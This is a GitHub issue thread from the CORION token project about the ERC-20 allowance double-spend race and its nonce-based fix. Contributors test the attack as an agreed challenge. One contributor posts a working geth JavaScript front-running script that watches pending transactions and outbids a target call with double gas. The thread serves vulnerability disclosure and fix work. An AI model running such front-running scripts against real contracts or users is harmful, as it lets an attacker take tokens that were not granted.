CORIONplatform / solidity

GNU General Public License v3.0
12 stars 9 forks source link

Allowance double-spend exploit #107

Closed gundas closed 7 years ago

gundas commented 7 years ago

If an owner sets an allowance and later changes the allowance amount, allowance receiver might be able to transfer money twice:

  1. Let's say A sets allowance for B to 100.
  2. Later A decides to change the allowance for B from 100 to 50.
  3. B notices A's transaction before it is mined and quickly creates a transfer transaction for 100 CORION.
  4. After transactions are mined B can transfer another 50 CORION.

Result: B gets 150 CORION instead of 50.

A fix could be to require to always reduce the allowance to 0 before changing it to some other value - so A gets a chance to notice the usage of allowance.

Another fix could be to check that the value of nonce is as expected (either in a contract or in a calling code), but that would require A keeping track of the correct nonce value.

iFA88 commented 7 years ago

Yes, in theory can be. I have added nonce for that. I have checked again the whole allowance code and have added some checks: https://github.com/CORIONplatform/solidity/pull/108

I pay you 15 ETC if you can send a transaction and would be mined before my transaction, but you need send after I have sent :)

contract gundasAllowanceExploit {
    bool public gundasWillReceive15ETC = false;
    uint256 public importantVar = 0;

    function iFAShouldCall(uint256 _importantVar) external {
        require( msg.sender == 0x00e1C4af666e5Bf306Ba38fBB98190F9f670b3B0 );
        if ( importantVar == _importantVar && ! gundasWillReceive15ETC ) {
            gundasWillReceive15ETC = true;
        }
    }

    function gundasShouldCall(uint256 _importantVar) external {
        importantVar = _importantVar;
    }
}
gundas commented 7 years ago

Give me some time. Challenge accepted :)

iFA88 commented 7 years ago

We will do that tomorrow if you are ready, i will deploy the contract and give then the addr to you.

gundas commented 7 years ago

The attempt would require some luck and low latency. But on rinkeby I could make it work by running a script in geth which is watching pending transactions and sending a function call as soon as it sees another transaction coming (from Mist in my case). However, I was testing with only one geth instance running (so for sure it gets the pending transactions very fast). Here is the script I am running in geth and it managed to mess up the state - it watches the pending transactions as as soon as sees an interesting one it submits its own transaction with higher gas price hoping that his transaction will be executed first:

//run by loadScript('allowanceExploit.js')

var targetContract = '0x99eba35f9fb162643e6b541b304812fd5077bb2f';
var sendData = '0x836f3a0b000000000000000000000000000000000000000000000000000000000000001e'
web3.personal.unlockAccount(web3.eth.accounts[0], "", 3000); // replace empty string with password if it has one
var found = false;
while (!found) {
    var ptxs = txpool.content.pending; // all pending transactions that our node knows about
    for (var txHash in ptxs) { // process all pending transactions
        tx = ptxs[txHash];
        for (var subTxId in tx) { // transactions 
          subTx = tx[subTxId]
          if (subTx.to == targetContract) { // for simplicity reasons I do not check what is the function called
            gasPrice = parseInt(subTx.gasPrice, 16) *2;
            console.log('found transaction to target contract!');
            web3.eth.sendTransaction({from: web3.eth.accounts[0], to: targetContract, gasPrice: gasPrice, data: sendData}); 
            console.log('hijacked transaction!' + ", gasPrice: " + gasPrice);
            found = true;
          }
      }
    }
}

If you have time, we could run a more representative test to see if it ever succeeds in a real life setup.

iFA88 commented 7 years ago

You don't know what i would send (importantVar) and you need send it before my transaction will be mined. If you are ready I will deploy the contract on the ETC chain and share the contract address with you. We speak a time to the transaction and we will try that :)

gundas commented 7 years ago

I currently have it running on rinkeby I'll need some time get geth running on ETC chain. I'll let you know

gundas commented 7 years ago

I finally have an ETC node ready, please let me know the contract number and then I will launch the transaction waiting script. I am really curious :)

iFA88 commented 7 years ago

Okay, 5-15 min.

iFA88 commented 7 years ago

0xC55502d820eDdeF26539Ab99678B19C5567c7626

[{"constant":false,"inputs":[{"name":"_importantVar","type":"uint256"}],"name":"gundasShouldCall","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"gundasWillReceive15ETC","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"importantVar","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_importantVar","type":"uint256"}],"name":"iFAShouldCall","outputs":[],"payable":false,"type":"function"}]

Say when you are ready!

gundas commented 7 years ago

I've launched my script - we can try (hope I did not leave any bugs :) )

iFA88 commented 7 years ago

I think you lost :) Or you have not send any transaction. Maybe locked account?

gundas commented 7 years ago

give me a few minutes - I have a case sensitive contract address comparison :(

gundas commented 7 years ago

I need more time - had to restart my geth, now it needs some time to find more peers, so I have more chances :) I will let you know. But I would not be surprised if I loose :)

iFA88 commented 7 years ago

Okay, 0x8702b3c91A0Aa5Ee71A1893861b47cd24e49B068 let me know if you are running the script.

gundas commented 7 years ago

I've started the script - it is waiting for a call to 0xC55502d820eDdeF26539Ab99678B19C5567c7626 contract. I have 20 peers connected, not that much, but let's try, to see if it works at all :)

iFA88 commented 7 years ago

You need set up to 0x8702b3c91A0Aa5Ee71A1893861b47cd24e49B068 contract address!

gundas commented 7 years ago

Can you send the message to an old one? Otherwise I will need to restart geth again - have not figured out a nice way to exit the script loop yet :(

iFA88 commented 7 years ago

Okay i have send!

gundas commented 7 years ago

BTW, now that I look at the code:

    function iFAShouldCall(uint256 _importantVar) external {
        require( msg.sender == 0x00e1C4af666e5Bf306Ba38fBB98190F9f670b3B0 );
        if ( importantVar == _importantVar && ! gundasWillReceive15ETC ) {
            gundasWillReceive15ETC = true;
        }
    }

Shouln't it be importantVar =! _importantVar - meaning you set _importantVar to the current value that the contract has in importantVar, and I try to change the `importantVar' to some toerh value with my call.

gundas commented 7 years ago

I think I am loosing:) My code did not spot the new pending transaction.

gundas commented 7 years ago

A few more times? :)

iFA88 commented 7 years ago

No, sorry, this was enough :) Have lot of other work :D

gundas commented 7 years ago

I think an attacker for this one needs more preparation - have mining node with a lot of peers, so he can see pending transactions early and react to them. I'll work on this during my free time some time later :)

iFA88 commented 7 years ago

Okay, but you should not forget, that in the token and premium we use nonce for fix that attack :)